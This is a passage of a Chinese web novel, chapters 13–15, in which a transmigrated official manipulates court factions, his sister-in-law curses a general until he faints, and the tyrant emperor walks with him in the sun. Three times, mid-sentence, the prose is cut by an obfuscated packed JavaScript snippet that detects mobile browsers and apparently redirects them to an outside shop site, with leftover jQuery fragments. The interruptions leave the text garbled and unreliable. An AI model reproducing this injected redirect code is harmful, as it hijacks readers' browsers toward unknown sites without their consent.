符荔垂头丧气地进屋,“我不是给了你图纸,让你按照逃跑路线逃走吗?” 到底哪一步出了问题。 刺杀敌国君主,还是两个,他一个看过原书内容的穿越者都没这胆子。 “是逃了啊,完全按照你图上的路线走,一点错都没有。” “可我什么时候说要你去刺杀国君了?”这些背景板能不能按照他说的计划走,“我当时问你懂不懂,你跟我说懂了,你到底懂了个啥?” 许如意,意有所指地朝他挤眉弄眼,得意道:“你说的我懂了,你没说的,我也懂了。” 符荔摇头,“我没懂。” 既然没说,那就是没说,怎么懂。 “没关系,谁还管那个。”许如意抓着他的手,掌心向上,塞给他几锭金子。 “大嫂,你这是做什么?!”符荔愣了。 “给你的,拿着。”许如意乐呵呵地将他的手按下去,“没有你在陛下面前提我的名字,我们哪里有机会住大宅子,我一个妇道人家,哪可能当上这么大的大官,多亏了你。” “这是你自己冒着丧命危险挣来的官,与我没关系。” 她的手带着厚厚的茧子和连日奔波留下的外翻伤口,依然掌心干净暖热。 符荔不习惯地抽出手。 “那也需要你提我的名儿才行啊。”许如意哄别扭小孩似的摸着他的脑袋道,“以后得空了尽管来大嫂这儿,给你留着院子呢,想来住就来住。” 符荔心里有种说不清道不明的感觉。 许如意爱碎嘴子,动不动就跟人吵架,赵细娘爱摆阔,自认状元亲娘高人一等,但对他,也是真心实意的好。 不,这些都是对原身,不是他。 13. 我那战斗力强悍的大嫂 隔了几日,在今年冬天第一场雪降下来的时候,皇帝终于想要开朝会了。 符荔很怀疑,殷扶灼明明对政务完全不上心,仍旧这么勤勉地开朝会,纯粹是自己睡不着,想要折腾他们。 想是这么想,他还是带着亲娘和大伯娘两人上了早朝。 两个女人凑在一块就叽叽喳喳有说不停的话,一会儿怕符荔冻着一会儿怕他冻着,硬是往他怀里塞了不少东西。 等符荔下了马车,他已经吃饱喝足,互揣进袖子里的手正抱着一个小小的汤婆子。 吕旻打远就兴奋地朝他招手。 等人走近了,他朝两位长辈规规矩矩地行了个礼,末了又恢复之前的活泼健谈。 “我就说吧,能教出柏徽这样优秀的人,定然是有一定家世家世底蕴的,今日一看两位夫人,果然如此。” 符荔早就知道吕旻眼神不太好,脑子还呆,在赵细娘要开口说话前赶紧让她俩先进殿,他将吕旻拉到一边。 “最近有无事关大凉生死存亡的大事?” “这话怎么能问我?”吕旻一脸地主家的傻儿子模样,“我只是个大理寺少卿。” 大理寺的重要程度,全看皇帝的重视程度。 很不幸,满朝文武,在皇帝眼里,全是耗材。 “你爹不是吏部尚书吗?平日里一些政务都不和你一起商讨?” “你是不是对尚书一职有什么误解?”吕旻奇怪道,“就是因为我们吕家在朝中没什么势力,所以才能被提拔为尚书。” “嗯?”人家什么党羽之类的,不都是越往上竞争越激烈吗? 六部之首的衙门老大,还没势力? “秦大将军仗着这些年国土周边强敌环饲,打了不少胜仗,邀功自居,手握八十万大军,虎将林云,军中威望极高,哪里看得上我们这些文官的位子,谋朝篡位之心人尽皆知。” “大将军这么厉害,那直接反了不就成了,自己当皇帝比这痛快多了。”符荔不解。 他当初看系统给的书,都是描绘各种恋爱情节,哪里有涉及到这个。 “因为还有我们清流一派啊,虽然手无寸铁,但舌头能活活将人骂死。之前我们看不惯秦才敬的嚣张,想要替陛下要回虎符,可惜没能成功。陛下也不管这事,听之任之。” 吕旻对当今圣上颇为恨铁不成钢,叹了好几口气,这才道:“大将军要是想当皇帝,开辟新朝,至少也要有名头,有好名声,否则,他这皇帝当不长久的,他不可能杀光天下所有长舌头的人。” 符荔受教地点点头,他一个现代大学生,头一回亲身处在复杂的政斗漩涡中。 “另外就是阉党一派,这些人是陛下的走狗,做事师出有名,大将军也忌惮几分。但他们仗着深受先帝荣恩,天子近臣,搜刮天下钱财,助长陛下奢靡怠政之风气,也是一大毒瘤。但大将军只要不做过火,他们都不掺和。只是姓秦的若是想当皇帝,那就动了王公公依仗的根基,他怎么可能会放任。” “一个只有几百万人口的国家,朝中局势怎么这么复杂。”符荔叹气。 赶紧毁灭吧,他要早点回家享福。 “陛下到——” 众人齐齐拜礼,“参见陛下——” “今日若无事……”王鸿恩话还没说完,一人站了出来,正是骠骑大将军秦才敬。 “陛下,如今云烟大宵二国群龙无首,正是派兵攻打的好时候,臣恳请发兵二国,收复失地。” “不行。”户部尚书出列阻止,“陛下,今年大凉收成不好,贸然发兵粮草必定跟不上。” “机不可失,等此二国另立新君,尘埃落定,缓过神来时,就是发兵攻打我们之时。”秦才敬道,“到时候我们毫无还手之力,局势将比现在更加被动。现在哪怕苦一苦百姓,也一定要将云烟大宵打得元气大伤。” 他是想篡位夺权,前提是大凉还在啊,又不是个傻的。大凉要是亡国了,他就是亡国之臣,哪怕投降别国,也是低本国人一等的判臣。 “既然如此,今年就只能将赋税翻倍。”户部尚书道。 “那便这样。”殷扶灼的声音一如往昔,听不出任何不对劲来。 这么草率的吗,这位暴君是压根不管百姓死活啊。 王鸿恩躬身道:“陛下,骠骑大将军已年过五十,如今大雪隆冬,将军恐怕没办法跋山涉水打苦战。” 殷扶灼似乎也在沉思。 秦才敬讥讽一笑,好似早就料到这阉人会这样说。 如果还是他带兵,这些人怎么有理由将兵权光明正大地收回去。 他行礼道:“多谢王公公和陛下体恤,臣受先帝赏识之恩,护大凉江山永固是臣职责。臣就算战死沙场也是身为将军的荣耀,还先帝信赖之情。” 王鸿恩凉凉道:“大将军劳苦功高,大家伙儿都知道,可也要看顾着身体一点,多享几年清福,不如把功勋让给其他年轻将领才,多让年轻人有表现的机会,别回头底下人只记着为你流过的血,却不曾分得半点好处。” 秦才敬冷冷一笑。 难道他以为,就靠这一句话,就能挑起了秦党内部的不和谐吗? 都是能把后背放心交给对方的兄弟,怎么可能因为这阉人的三言两语受到挑唆。 这阉人早就眼红军中的势力,想要染指一二了。 打仗,就是赚钱。 不是为国家赚钱,是为他们自己赚钱。 王鸿恩只能依附于皇帝,缺乏稳固的根基,朝中老顽固众多,他想敛财颇受掣肘,早就惦记上了发战争财这块肥肉了。 眼下他这样说了,秦才敬顺着他的意思,道:“臣的部下,刘拓,曾八次攻破容国城池,斩下过三员大将头颅。他能堪担此大任,为本次南伐主帅。” 刘拓威风凛凛地走出行列,道:“臣愿为陛下拿回云烟大宵曾夺走的九州十三府,壮我大凉国威!” 一群武将纷纷出列,为刘拓说话。 王鸿恩看向了殷扶灼。 殷扶灼姿态闲散,明显心不在焉,看那样子,明显谁去都可以。 真是扶不起的阿斗,除了一有不满就杀人还会干什么。 “既然这样,那便先将虎符交来,”王鸿恩暗暗瞄了一眼,揣测国君面上的意思没有反对,这才接着道,“待五日后点兵出征时,再将虎符交给刘将军。” 秦才敬从怀里拿出半块虎符,任由小太监将他拿走,交到皇帝手上。 殷扶灼把玩着虎符,眼里莫讳如深,又涌起一股浓浓的疲惫感和厌倦之色。 今日刘拓,明日王拓,赵拓,周拓,谁当这个主帅,都一个结果,最终这虎符还是会落到秦才敬的手里。 如今朝中武将上下铁桶一块,不管选谁,最后都是秦党的人。 “既然如此,那便……” “等等。” “符大人,怎么又是你?”刘拓不满道。 秦才敬乜眼瞅他,完全不将这人放在眼里,轻蔑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334877|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“符大人有何指教啊?” 符荔看殷扶灼没阻止他说话,胆子也大了点,道:“陛下,秦将军还有刘将军,不能离开京都。” “这是为何?” 你们要是率兵出征了,把九州十三府收复回来,大凉的版图不就变大了吗,还亡什么国。 刚才他听刘拓的功绩,简直比赵云转世还要勇猛啊。 让他去,自己目标还怎么完成。 但他不能这么说。 “陛下,万一云烟和大宵佯装内乱,诱敌深入,实则暗度陈仓,偷袭京都,那该如何是好啊!”符荔痛心疾首道,“国土而已,丢了就丢了,陛下的安危最是要紧,到时候几十万大军都在别国深陷泥潭,远水怎么解得了近火。” “这就不劳符大人操心了。探子和间谍都已经来信,两国内乱已属实,暂时分不出多余精力应付外敌。”秦才敬道。 “可是,还有别国啊。与大凉接壤的容国,息国,在得知我们派兵攻打二国后,岂不趁虚而入,南下直入京都,到那时候京都兵力空虚,大凉危矣。” “这就更不可能了。”秦才敬被他逗笑了,“容息二国有天堑险关挡着,倘若他们真的打来,萧山关至少能抵挡几十万人马三月,这时间足够云烟大宵的军队回来防守了。” “凡事总有个意外,其他人可以去涉险,唯独不能拿陛下安危去冒险。”符荔满眼真挚地看着上首的人,“陛下,您的安危最是重要,比那些百姓、失地、天下间的任何事都重要,臣怎么能答应一个不顾陛下您安危的事情呢。” 殷扶灼眸光动了动,偏到了一旁。 “那便派三分之一兵马驻守京都,由我指挥。”秦才敬不耐烦道。 “不可,”符荔道,“秦将军,您老了,不中用了,万一敌袭,那肯定指挥不了千军万马,京都必须有刘将军坐镇才行。” 秦才敬气得不打一处来,“你才老了,你才不中用了,你个黄口小儿骂谁呢!” 赵细娘和许如意本来听得云里雾里的,朝中政事她们也不晓得,现在看这老小子骂到自己儿子和小叔子头上了,立刻不答应了。 “你才黄口小儿,骂你老是尊敬你。”赵细娘气鼓鼓说了一句,又骂不出更多的话。 许如意官服袖子往上一拉,将符荔护到身后,魁梧的身躯站在秦才敬跟前,气势丝毫没有落下乘。 “骂你怎么了,胡子都一大把的人了,还在这装嫩呢,真想装孙子就给你奶奶我磕三个响头,叫声老祖宗,我还能勉强认下你个不肖子孙。” “你个泼妇!”秦才敬气得浑身发抖。 他虽行伍出身,但这十多年养尊处优,谁碰到他不恭恭敬敬称一声“大将军”,他也以自己出身为耻,时常拽文弄墨,又扯不明白,寻常人不敢笑话他,只能附和说他的好。 多年未听过这等骂街,一时间耳朵遭不住。 “我是泼妇,那你是什么,黑面猴屁股?”许如意唾沫横飞,群臣立时避散。 “就说哪个爹娘能生出你这么个不像人的玩意儿,合着是畜生的崽种,穿上了这身官袍,就以为自己是人了,在这给你姑奶奶我哇哇乱叫。我跟你说,衣裳脱了,赶紧往你猴子娘屁/眼上钻回去,争取来年投个好胎,还能赶上趟儿。” “咳咳咳咳咳!” 秦才敬咳嗽个不停,手挡在嘴边一接,鲜血霎时染红了掌心。 “大将军!大将军!” “不好啦,大将军昏死过去了!” 14. 刚才守门的几个,进来一下 符荔躲在赵细娘身后探头探脑,看到秦才敬晕死过去的那一刻,和在场众人一样倒吸了一口凉气。 姓秦的战斗力不太行啊。 许如意双手叉腰,得意地看过来。 符荔伸手,暗暗朝她竖起大拇指。 从小到大,他连跟隔壁家的狗抢饭都打不过,别说如此高强度的输出了。 正想着,他感觉到一股阴嗖嗖的视线,扭头一看,皇帝的目光正落在他身上。 他赶紧撤回一个大拇指,缩回宽大的官袍袖子里,绕到赵细娘另一侧站着。 皇帝不会因为他们仨扰乱朝堂秩序而把他们砍了吧。 殷扶灼看了一场好戏,正兴味十足,看到符荔怂了吧唧地因为他的眼神躲到亲娘身后,嘴角不由弯了弯。 这个人,有点意思。 秦才敬急火攻心昏死过去,大殿外守着的护卫很快将他抬到隔壁殿休息,朝堂重新恢复秩序。 该议的事情还是得议。 萧亭辉目光转悠了一圈,谁都不想先开这个口,只好自己站出来,问:“符大人,刘大人如果要保卫京都,你觉得谁去合适?” 现在他知道名字的全都是清流派大臣,秦党和阉党的人完全不熟,万一摇号摇出了个天纵将才,他哭都没地方哭。 “那个谁……刚才守门的几个,进来一下。” 大殿守卫狐疑地对望了下。 “进来。”殷扶灼开口。 五六个守卫忙不迭小跑进殿,“陛下。” “耳朵聋了,符卿喊你们没听到?” “陛下饶命啊!”守卫吓得赶紧下跪,连连饶命。 “来人。” 殷扶灼刚喊了一声,立刻被符荔打断。 “陛下饶了他们吧,是臣喊的声音有点小了,不怪他们。” 符荔说完才发现自己冒犯了暴君,竟然敢擅自打断他的话。 冷汗顿时透背。 “你喊他们进来干什么?”殷扶灼问。 几位重臣暗暗纳罕,陛下竟然因为符荔一句求情,就如此轻易地从而放过了守卫的命? 这可是从未有过的。 不,之前就有苗头了。 符荔将陛下骂得狗血淋头,只落得个割舌的罪名,最后连这罪名都免了,一点事都没有。 如今回想一下,这可是这位暴君登基以来做的唯一一件收回成命的事。 眼下这是第二桩。 他们越想越心惊,这符荔的话何时比圣旨都好使了,连暴君都对他言听计从。 他和其他同僚使了个眼神,他们也有同样的想法。 看来以后不能得罪符荔啊,这位可是得暴君青睐的近臣。 殷扶灼纯粹是想看符荔还能给他制造多少乐子,就像秦才敬和王鸿恩几人当朝扯头花,这可算是他喝酒之外为数不多的乐趣了,只能暂时忍下想杀人的烦躁。 符荔朝守卫一个个看过去,来回走了两趟,揪出一个年轻男子出来。 “陛下,就他了,臣推荐他为此次讨伐二国的主帅。” 这人看起来已经年过四十,一张脸生得老实木讷,身材瘦小,弱得跟白斩鸡似的,风一吹就倒。 秦党、清流、阉党三派人物面面相觑,完全一头雾水。 “此人是谁?”吕恒问,“可有何功名?” 他怎么知道。 看小说里写的,驻守皇宫的护卫都是寻常官宦子弟,能派来守门是因为啥也不会,家里只能捐了点钱,将家里游手好闲的二世祖打发到御林军来混日子。以至于城破时,这些护卫比皇帝跑得还早。 这些护卫中,这位看起来最弱不禁风,脑袋空空,让他上战场,无疑是送几十万人去死。 放心,六十岁大礼包都给你们准备好了,怎么也比不久后亡国被杀长寿。 这泼天的功德,木鱼给他敲烂咯都挣不回来。 “在下名叫沙不晦。”那个护卫抱拳行礼,说着说着脸颊微红,羞窘道,“暂时、还未有任何功名傍身。” “吕大人,你看,”符荔指着人,卖力地推荐道,“天大的人才啊,在这站岗多可惜。” 沙不晦,可不就是啥也不会么。 吕恒看他一脸傻相,简直和自己那书读傻了的儿子有的一拼,嘴唇翕张了下,一时语噎。 吕旻走出来,道:“陛下,符大人慧眼如炬,此等人才,万万不可被埋没。” 傻到一块去了。 “臣还是推荐刘将军前去。”吕恒道。 至少人家功勋摆在那里。 “爹。”吕旻沉了沉脸,老头胳膊肘怎么拐向外人呢。 “别胡乱攀扯的,开朝会呢,谁是你爹。” 吕旻眼神黯然了下,“是,吕尚书。” 刘拓冷哼一声,走出来道:“多谢吕大人举荐,但臣也觉得,这位沙大人,他担任这次讨伐二国的三军主帅合适。” 吕恒脸色微僵,“那李副将?” “臣前几天感染风寒,无法担任主帅,望陛下赎罪。” “周……” “臣摔伤了膝盖,无法担任……” 好家伙,秦党集体闹罢工啊。 吕恒看了一圈,没一个武将买他的帐,只好重新看向那个沙不晦。 “人才我还真没看出来。”孙得志摇头,但马上安慰他道,“符大人说的话肯定错不了,他说是人才,那他一定就是,吕大人就别担心了。” “一个四十多岁的人,年纪和秦大人差不多,却从来没有带过兵打过仗,你信他会攻城还是去送死?”吕恒崩溃道。 这些人是怎么了,符荔说什么他们就相信什么,都不带一点质疑的。 萧亭辉迟疑了下,道:“符大人举荐的,也未可知,或许真可一试。” 举目望去,如今朝中武将皆是秦党,他绝望地想着,这位壮士要想出头也是难如登天,他赞成还是反对有何分别,不如顺水推舟,顺了符荔这位炙手可热的权臣的意,以后自己落难,符荔还能替自己说两句好话。 自己学生真是有出息了,以后自己这个老师还得靠他。 果然,他听到殷扶灼也没反对。 “那便依符卿所言,即日起,你便率领二十万大军,出征讨伐云烟大宵二国。” 沙不晦一脸不可置信,激动得好半天都说不出话来。 眼眶里浮出点点泪光,他克制住情绪,声音颤抖道:“臣定不负陛下期望,不负……符大人提拔之恩。” 符荔狐疑地上下扫了他一眼,怎么感觉这人气势一下子就变了。 他哪里知道,秦才敬当初开口六十万两让他买官,他拿不出来,武举不出意外地落榜。后来因为太过耿直,不会请上司吃酒送礼,在军队里屡屡碰壁,即使建立了不少功勋,也被上司冒领。 那些人一个个升官发财,良妻美眷环绕,自己所有努力都为他们做嫁衣。他爹也是想不通的,耗尽家财,又托了所有门路,这才买了个御林军的职位,把他塞了进来。 颠沛流离,蹉跎半生,本来以为这辈子要和这些二世祖混吃等死,浑浑噩噩过日子,不想竟有一天能被封为一军主帅。 简直是天降馅饼,直接将他砸得头昏脑涨,飘飘然起来。 王鸿恩恭敬地接过殷扶灼手上还没捂热的兵符,以为秦党中人会有异议,走得比平常慢了些,可直到他下了御阶,将兵符传递给沙不晦,也没传来秦党众人的一声反对。 看来他们已经默契地达成共识,不准备率兵去打这场仗了。 他只好自己站出来,为难道:“陛下,如今国库空虚,恐怕拿不出太多的银钱打仗。” 这些年他仗着天子近臣的名义各种搜刮民脂民膏,皇帝也享受到了不少,多数时候,关于钱的话题,他还是会听自己的。 殷扶灼却没搭腔。 户部尚书站了出来,道:“今秋百姓收成不好,寒冬时节,已经有不少百姓冻死街头,倘若增加赋税,恐引起叛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334878|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱生变。” “你刚才不是这么说的。”许如意不满道,“街头杂耍都没你会变脸。” 秦才敬带兵,苦一苦百姓就不要紧,沙不晦带兵,就要为百姓着想了? “你……”户部尚书本来想说她无知妇人懂什么,但想到那让秦才敬吐血的杀伤力,还是忍了回去。 “无妨。”符荔道。 “符大人,你有办法了?”听他这么一开口,清流派那些老顽固顿时心中大定。 符荔现在只想让沙不晦出兵,管它输赢,这时候去攻打两国,肯定惹得两国积怨,等到合适的时机,就是两国反扑,要大凉血债血偿之时。 “我相信沙将军的能力。” 萧亭辉担心得直皱眉,等朝会过后,他和沙不晦合计一番,发现对方心里更没底,想不出一点办法。 两人于是在祥鸾殿门口叫住了符荔。 “符大人留步。”萧亭辉道,“巧妇难为无米之炊,虽然兵符如今在沙将军手上,但秦党在军中根基颇深,陛下就算说调遣二十万大军,恐怕秦才敬他们阳奉阴违,会以各种理由搪塞,到时候肯定凑不出二十万兵马。” 皇帝是个不管事的暴君,稳坐高堂之上,哪里会管底下的猫腻。 “人少有人少的打法,我相信沙将军的能力。” 这要是二十万兵马整整齐齐地过境,把对方打得屁滚尿流,这才不好收场。 “这是何意?”二人听不懂。 “符大人留步。”远远的,一个公公尖锐的嗓音在叫他。 符荔扭头一望,殷扶灼领着身后跟着的三四个小太监,正站在华丽的辇辂旁,遥遥看着他。 “陛下有请。” 暴君又来催命了。 “还有,这粮食辎重怎么解决?增加赋税百姓过活不下去,可若不增加,我们没粮食供给部队。”萧亭辉一脸愁容,“户部尚书说没有,我们也没办法,你可有妙计?” “就地取材,有啥吃啥,都打战了还挑什么食。”他急急道。 啃树皮,挖野菜,这么艰苦的环境,必然军心涣散,大凉军队必败无疑。 “听许如意大人说,大人有两国舆图,可见对两国了解之深,可有锦囊妙计传授一二,沙某该用什么战术才可尽快制敌?”沙不晦问。 舆图?什么东西? 符荔两眼茫然,但看沙不晦一脸认真虚心求问的样子,他打哈哈笑了两声,“不需要,你别学我大嫂嗷,到时候对云烟人和宵国人温柔点,咱们礼仪之邦,要展现出该有的风度,阴谋诡计都是野蛮人干的事情。” 兵者,诡道也,打仗不用计策,那才是蠢货。 他拍了拍木讷男人的肩膀,画了个大饼,“好好干,复兴大业就指望你了。” 他赶紧想借着跟他们交谈的时机溜之大吉,官袍袖口被萧亭辉扯住。 “符荔,你跟老师我还藏着掖着呢,这些话都是什么意思,解释清楚。” “我真没什么要解释的,就是字面上的意思。”符荔现在只想赶紧走。 “符卿。”殷扶灼开了口。 这回萧亭辉也听到了,连忙松手,躬身行礼。 “被你害惨了。” 这些话什么时候说不好,偏要在这里说。 狗皇帝都开口了,符荔再想溜也难了,只能哭丧着着脸走了过去。 “符大人,你还没说清楚。”萧亭辉还想拉着人问,被沙不晦阻止了。 “大人,我悟了。”沙不晦欣喜道。 “什么?” “符大人是个军事天才,我浸淫军事兵法这么多年,没想到还能被符大人三言两语点发,实在自愧不如。” 萧亭辉一头雾水。 难道三人中就他最傻?符荔的话不是很普通吗,他什么弦外之音都没听出来。 沙不晦叹了口气,看着符荔远去的背影,目光坚毅,“沙某能得符大人伯乐知遇之恩,哪怕战死沙场,也要完成大人的兴国大愿。” 15. 一起晒太阳 秦才敬五大三粗地坐在偏殿,往嘴里灌了一大口今年上贡的普洱,身后一个手下在给他捏肩捶背。 太医在一旁给他把脉,恭敬道:“将军,您的咳疾不严重,再吃两副药就彻底好了,暂时不用担心。” “嗯。”秦才敬将嘴里的茶沫子“呸呸”两声吐在地上,掌心抹了把嘴,问身后的手下。 “你说,我是大凉的大将军,手握八十万大军,却不造反,刚才还让一个大字不识一个的妇人给气晕了?” “是啊。”手下纳闷,他这话问的怎么怪怪的,身份是众所周知的事情,气晕也就发生在大半个时辰前。 秦才敬自卑于自己的出身,这几年惯爱做附庸风雅的事情,难得看到他这么粗鲁豪放的动作。 但手下也没敢多问。 “真是没用。” 手下疑惑,哪里还有人自己骂自己的? 秦才敬挥了挥手,一旁诊脉的太医恭敬地退离偏殿,一个太监与他错身而过。 “将军,”太监恭敬道,“符荔随便拉了一个看宫门的男人担任主帅,吕恒这时候想起了秦家军的劳苦功高,极力举荐刘将军等人,没一个人站出来,最后三军主帅还是落在那个看门的身上。” “选一个看门的当主帅,丢脸都要丢到其他十八国去了,这回大凉要成全大陆的笑柄。”捏肩的手下笑道。 “哼,你以为呢,方才秦……我生气是真,晕倒是假,只不过是给他们一个警告罢了。”秦才敬嘴角浮现出一抹冷笑,拇指和食指刮了刮嘴边的一圈胡子,“老子在外征战这么多年,守住了大凉多少国土,这些人还敢跟我唱反调。要不是我,他们早成了亡国奴。” “大将军为大凉付出了多少心血,咱们都看在眼里,念在心里。”小太监奉承道。 “念在心里有什么用,一群不知感恩的老东西,还想夺了我的兵权,小皇帝都窝囊地不吭气,他们跳脚什么,那位传说中的暴君除了找那些没实权的臣子砍头出气,还能干什么,扶不起来的烂泥,跟着那种人有什么前途,不如早日易主。” “将军威武。” “这回就让那些人好好清醒清醒,没了我,他们什么也不是,等着丢城失地,到时候哭爹喊娘地求到我跟前吧。” “将军是大陆排行前十的武功高手,别国听其名号就莫不胆寒,唯有英明神武的您,才能指挥这千军万马,所向披靡。” 秦才敬志得意满地喝完茶,重重地放下茶杯,起身走出偏殿。 远远的,他就看见长长的一队人马低头静默站在宫殿前,帝王的黑金刻龙御辇正在其中。 秦才敬眼神微眯,玩味道:“我还没坐过御辇,符御史倒是好福气,能与帝王同乘。” 祥鸾殿前御辇旁,仿佛施舍一般允许对方的靠近,殷扶灼朝符荔伸出手。 那只右手生得白净,掌纹清晰,指骨修长匀称,瘦而有力。拇指套着的扳指墨翠莹润,被太阳一照,浓黑的边缘闪耀着欲滴青翠。 符荔下意识想后退一步,但还是生生忍住了。 “上来。”殷扶灼见他不动,催了一声。 符荔低头行礼,避开如有实质的骇人气势,“陛下,有什么事您可以直接吩咐臣。” 给他天大的胆子也没办法跟暴君贴得这么近,去抓人家的手啊。 殷扶灼挑眉,还是收回了手。 “上次在御书房门口,你想说什么?” “嗯?”符荔没想到他会问这个。 “你忘了。”殷扶灼顿时拉下了脸。 “没有没有。”符荔急忙道,只是他没想到暴君会问这个。 “所以,你想说何事?”他问。 之前他就想问了,但这人跑得太快,一下朝就没影儿了。 “我……”符荔语塞。 他就是想到殷扶灼一个人天天坐在潮湿阴冷的御书房里喝酒,周围乱糟糟的,心情难怪不好。 那一瞬间,他脑海里想到了自己前世曾种过的一棵花,想到了自己那个名为家的地方,空荡荡的,一整晚一整晚,都没有一点声音。 “不是什么大事。”他浮起一抹尴尬的笑意。 “说。” “主要也很无聊。” “不说把你砍了。” “……” 狗皇帝! “……就是问问,要不要一起晒太阳。” 殷扶灼眸光微顿,愣愣看着忸怩的人。 “臣都说很无聊了。”符荔歪着脑袋无奈道。 非要逼他说,他都感觉御辇周围宫女太监的目光诧异地看着他了。 好丢人。 “臣家里还有事,先告辞了。” 符荔刚要溜之大吉,手腕被抓住。 “行。” “???” 这狗皇帝有毛病吧? 不,他自己脑子也是有点大病。 “你们先走。”殷扶灼挥退了王鸿恩等人。 “真要一起晒太阳?”符荔仍旧不敢相信。 宫人稀稀拉拉地离开,下朝的官员也陆续走出了宫门,空荡荡的皇宫很肃静。 他只想快点回到衙署处理公务,或者回家躺着。 “嗯。”殷扶灼抓他手腕的手指更紧了紧,苔藓般湿重的墨绿眼珠在阳光的照耀下变成了金绿色,更加透亮轻盈,闪烁着点点温光,看着不再那么阴郁。 “陛下不会觉得这样很奇怪?” “有点。”殷扶灼拽着他的手腕,自顾自往前走去。 符荔被他拽了一下,差点摔倒在地上,赶紧快步跟上。 冬日的暖阳洒在新雪初扫的青石板上,洒在带着冰渍的青瓦红梁上,洒在他紫色的官袍与玄黑龙袍上。 金线反射出耀眼的光芒,栩栩如生的五爪金龙仿佛活了一般,举着爪子向他耀武耀威,宣誓自己随心所欲的权力。 符荔盯着他笔直板正的后背上的金龙,悄悄瞪眼吐舌头,朝它拌了个鬼脸。 和穿他的人一样,都不是个东西。 “你为何想跟朕一起晒太阳?” 前面的人突然开口,把他吓了一跳,以为自己的小动作被他抓到了。 那可是天大的不敬。 仔细一看,并没有察觉。 “因为天气很冷。” 天天把自己关在大殿里,哪怕宫殿宽敞,也容易憋出病。 曾经的养花经验告诉他,植物就该多晒晒太阳,这样才不会蔫了吧唧的没精神,天天想砍人。 藤妖应该也算植物吧。符荔看着他的后背,不着边际地想着。 这人似乎又清瘦了许多。 关在宫里养了一个月的病,怎么越养越废了。 也不知道是什么病。 前方的人突然停下脚步,转身看着他。 殷扶灼听到身后的喘气有点急,果然,符荔跟上他的脚步有点吃力,口鼻呼出的白雾都不带停的。 这回答难道触了他什么逆鳞了吗?符荔想。 “陛下冷了?”他问。 苍白的脸色看着就一副很不健康的样子,手指也很冰。 左手从袖子里伸出来,他把汤婆子递过去,讨好地笑道:“还热着,陛下可以暖暖,别染了风寒,那可麻烦了。” 殷扶灼迟疑了下,接过了汤婆子。 小巧玲珑,放在掌心刚好握着,黄铜的壶身外面套着雪青色绸布,绣着两个骑马涉猎图纹,很是精巧。 透过布料,的确能感觉到丝丝热意。 玄袂翩飞,他将汤婆子收拢进袖子里。 符荔将手放到嘴边呵了呵气,看这样子,皇帝是要贪墨他的东西了。 既然不暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334879|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,为何不还给他。 还有,他的手为什么一直抓着自己不放,他会跟着的。 不过符荔很快注意到,前面的人步伐放小放慢了不少,他跟着也不吃力了。 从上朝的祥鸾殿到后面休憩的寝殿这么远的路,估计皇帝走累了吧。 体质真挺弱的。 符荔一路腹诽,渐渐地,他被周围的巍峨的殿宇吸引了注意力。 大凉这等小国,皇宫景貌与他的国力完全不符,不说那些林宇金阙,玉阶朱柱,九曲回廊,那御花园即使到了冬日也温暖如春,四周姹紫嫣红,远望地毡如锦,碧树苍天,白鹤翩飞,温泉成湖,四周飘着氤氲雾气,如登仙境一般。 再向远眺望,湖中小岛上还有一座宏伟的三层宫殿,红檐飞瓦在奇盘的古松与嶙峋假山中隐现。 吕旻看来说的是真的,王鸿恩为皇帝敛了不少财啊,暴君全花到这种没用的享受上了。 等到了御书房前,殷扶灼停下了脚步。 御书房前有一大片空地,除了几个守着的侍卫和等待传唤的宫女太监,便也没更多人了。 “陛下不处理政务吗?” “你几时见过朕处理政务?” 头一回听到昏庸得如此理直气壮的话。 可是两人大眼瞪小眼,除了符荔掩饰一般揉着自己的额头,场面一度很尴尬。 他俩不熟啊,细究的话,他俩之间横亘着意图割舌之仇。 还有各种猜忌和不信任。 “还疼?” “嗯?”符荔手顿住,抬眸,对上了殷扶灼毫无感情的双眼,轻轻“嗯”了一声,又生怕对方以为自己在怪罪他,“也不疼了,过了一个月,已经快好了,就是……” 这不没事找事么。 “陛下还觉得冷吗?”符荔没话找话,“还要晒吗?” 一君一臣,杵在宫殿门口的空地上,怎么都透着一股傻劲。 “嗯。” 能不能先放开他的手。 “此时若是有一把摇椅就好了。”他感慨道。 话音刚落,符荔感觉抓着腕上的手一颤,还不待他细究,那只手仿佛听到他的心声似的如愿松开了。 殷扶灼拿出一方帕子,侧过身开始擦手。 都抓一路了,现在才觉得脏,是不是反应有点迟钝了? 符荔敏锐地察觉到他浑身的气势凛冽了不少,不知道哪句话得罪了他,心中开始惶恐惴惴,就怕下句是让他身首异处。 